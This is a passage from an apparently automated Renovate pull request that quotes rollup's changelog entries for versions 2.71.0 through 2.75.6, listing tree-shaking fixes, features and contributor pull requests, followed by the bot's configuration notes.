([#4531](https://redirect.github.com/rollup/rollup/issues/4531)) ##### Pull Requests - [#4523](https://redirect.github.com/rollup/rollup/pull/4523): chore: remove source map workaround, bump deps ([@dnalborczyk](https://redirect.github.com/dnalborczyk)) - [#4525](https://redirect.github.com/rollup/rollup/pull/4525): Add regression tests for instanceof ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4528](https://redirect.github.com/rollup/rollup/pull/4528): chore: Set permissions for GitHub actions ([@naveensrinivasan](https://redirect.github.com/naveensrinivasan)) - [#4531](https://redirect.github.com/rollup/rollup/pull/4531): fix: rename Array.prototype.group/groupToMap ([@dnalborczyk](https://redirect.github.com/dnalborczyk)) - [#4535](https://redirect.github.com/rollup/rollup/pull/4535): chore: bump resolve from 1.22.0 to 1.22.1 ([@pos777](https://redirect.github.com/pos777)) ### [`v2.75.6`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2756) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.5...v2.75.6) *2022-06-07* ##### Bug Fixes - Properly deoptimize "this" when using member expressions with getters/setters in for loops and update expressions ([#4522](https://redirect.github.com/rollup/rollup/issues/4522)) ##### Pull Requests - [#4522](https://redirect.github.com/rollup/rollup/pull/4522): Refactor side effect handling for property interactions ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.75.5`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2755) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.4...v2.75.5) *2022-06-01* ##### Bug Fixes - Avoid crashes when using logical expressions for unused constructor arguments ([#4519](https://redirect.github.com/rollup/rollup/issues/4519)) - Fix missing parameter defaults for calls from try statements and functions returned by functions ([#4520](https://redirect.github.com/rollup/rollup/issues/4520)) ##### Pull Requests - [#4519](https://redirect.github.com/rollup/rollup/pull/4519): Try to make logical expression deoptimization more robust ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4520](https://redirect.github.com/rollup/rollup/pull/4520): Roll back parameter default tree shaking ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.75.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2754) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.3...v2.75.4) *2022-05-31* ##### Bug Fixes - Ensure parameter defaults are retained when a function is used as an object property ([#4516](https://redirect.github.com/rollup/rollup/issues/4516)) ##### Pull Requests - [#4516](https://redirect.github.com/rollup/rollup/pull/4516): Deoptimize parameter defaults when referenced from object/array/class literals ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.75.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2753) [Compare Source](https://redirect.github.com/rollup/rollup/compare/a971f09f6c34c65e71470249783d0dcce02a9468...v2.75.3) *2022-05-29* ##### Bug Fixes - Retain parameter defaults for functions that are defaults themselves ([#4515](https://redirect.github.com/rollup/rollup/issues/4515)) - Track mutations for objects as default values ([#4515](https://redirect.github.com/rollup/rollup/issues/4515)) ##### Pull Requests - [#4515](https://redirect.github.com/rollup/rollup/pull/4515): Ensure parameter defaults are deoptimized ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.75.2`](https://redirect.github.com/rollup/rollup/compare/v2.75.1...a971f09f6c34c65e71470249783d0dcce02a9468) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.1...a971f09f6c34c65e71470249783d0dcce02a9468) ### [`v2.75.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2751) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.0...v2.75.1) *2022-05-28* ##### Pull Requests - [#4513](https://redirect.github.com/rollup/rollup/pull/4513): Update link to node polyfill repo ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.75.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2750) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.74.1...v2.75.0) *2022-05-27* ##### Features - Re-implement default parameter tree-shaking for top-level functions ([#4510](https://redirect.github.com/rollup/rollup/issues/4510)) - Do not consider calling string methods like `.trim()` on template literals a side effect ([#4511](https://redirect.github.com/rollup/rollup/issues/4511)) ##### Pull Requests - [#4510](https://redirect.github.com/rollup/rollup/pull/4510): Tree-shake parameter defaults (replaces [#4498](https://redirect.github.com/rollup/rollup/issues/4498)) ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4511](https://redirect.github.com/rollup/rollup/pull/4511): Tree-shake side-effect-free string methods on template literals ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.74.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2741) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.74.0...v2.74.1) *2022-05-19* ##### Bug Fixes - Revert [#4498](https://redirect.github.com/rollup/rollup/issues/4498) until some issues are understood and resolved ### [`v2.74.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2740) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.73.0...v2.74.0) *2022-05-19* ##### Features - Remove unneeded default values for function parameters ([#4498](https://redirect.github.com/rollup/rollup/issues/4498)) ##### Bug Fixes - Use a consistent mechanism to resolve the config file to avoid issues on Windows ([#4501](https://redirect.github.com/rollup/rollup/issues/4501)) - Avoid an inaccurate warning about an event emitter leak for complicated builds ([#4502](https://redirect.github.com/rollup/rollup/issues/4502)) - Ensure that reexporting values from other chunks via dynamic imports does not reference non-imported variables ([#4499](https://redirect.github.com/rollup/rollup/issues/4499)) ##### Pull Requests - [#4498](https://redirect.github.com/rollup/rollup/pull/4498): Tree shake parameter defaults ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4499](https://redirect.github.com/rollup/rollup/pull/4499): Ensure reexports are available for namespaces ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4501](https://redirect.github.com/rollup/rollup/pull/4501): fix: config path problem on windows ([@pos777](https://redirect.github.com/pos777)) - [#4502](https://redirect.github.com/rollup/rollup/pull/4502): Avoid maximum listeners exceeded warning ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.73.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2730) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.72.1...v2.73.0) *2022-05-13* ##### Features - Do not treat Object.defineProperty/ies as side effect when called on an unused object ([#4493](https://redirect.github.com/rollup/rollup/issues/4493)) - Do not assume that assigning a property can create a getter with side effects ([#4493](https://redirect.github.com/rollup/rollup/issues/4493)) - Do not treat string.prototype.replace(All) as side effect when used with two literals ([#4493](https://redirect.github.com/rollup/rollup/issues/4493)) ##### Bug Fixes - Detect side effects when manually declaring getters on functions ([#4493](https://redirect.github.com/rollup/rollup/issues/4493)) ##### Pull Requests - [#4493](https://redirect.github.com/rollup/rollup/pull/4493): Handle getters on functions and improve property deoptimization ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4494](https://redirect.github.com/rollup/rollup/pull/4494): Do not treat string.replace as side effect when used with a literal ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4495](https://redirect.github.com/rollup/rollup/pull/4495): Update docs for --configPlugin using typescript ([@Jimmydalecleveland](https://redirect.github.com/Jimmydalecleveland)) ### [`v2.72.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2721) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.72.0...v2.72.1) *2022-05-07* ##### Bug Fixes - Improve tree-shaking of classes with super classes in certain scenarios ([#4489](https://redirect.github.com/rollup/rollup/issues/4489)) ##### Pull Requests - [#4489](https://redirect.github.com/rollup/rollup/pull/4489): Do not deoptimize entire super class when adding a property ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.72.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2720) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.71.1...v2.72.0) *2022-05-05* ##### Features - Add CLI hooks to run external commands at certain points in watch mode ([#4457](https://redirect.github.com/rollup/rollup/issues/4457)) ##### Bug Fixes - Fix an issue that could accidentally treat relevant assignments as side effect free ([#4486](https://redirect.github.com/rollup/rollup/issues/4486)) ##### Pull Requests - [#4457](https://redirect.github.com/rollup/rollup/pull/4457): feat: CLI event hook flags ([@Harris-Miller](https://redirect.github.com/Harris-Miller)) - [#4486](https://redirect.github.com/rollup/rollup/pull/4486): Fix reassignment tracking ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.71.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2711) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.71.0...v2.71.1) *2022-04-30* ##### Bug Fixes - Allow importing loadConfigFile without extension ([#4483](https://redirect.github.com/rollup/rollup/issues/4483)) ##### Pull Requests - [#4483](https://redirect.github.com/rollup/rollup/pull/4483): Add exports exception for loadConfigFile ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.71.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2710) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.70.2...v2.71.0) *2022-04-30*Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.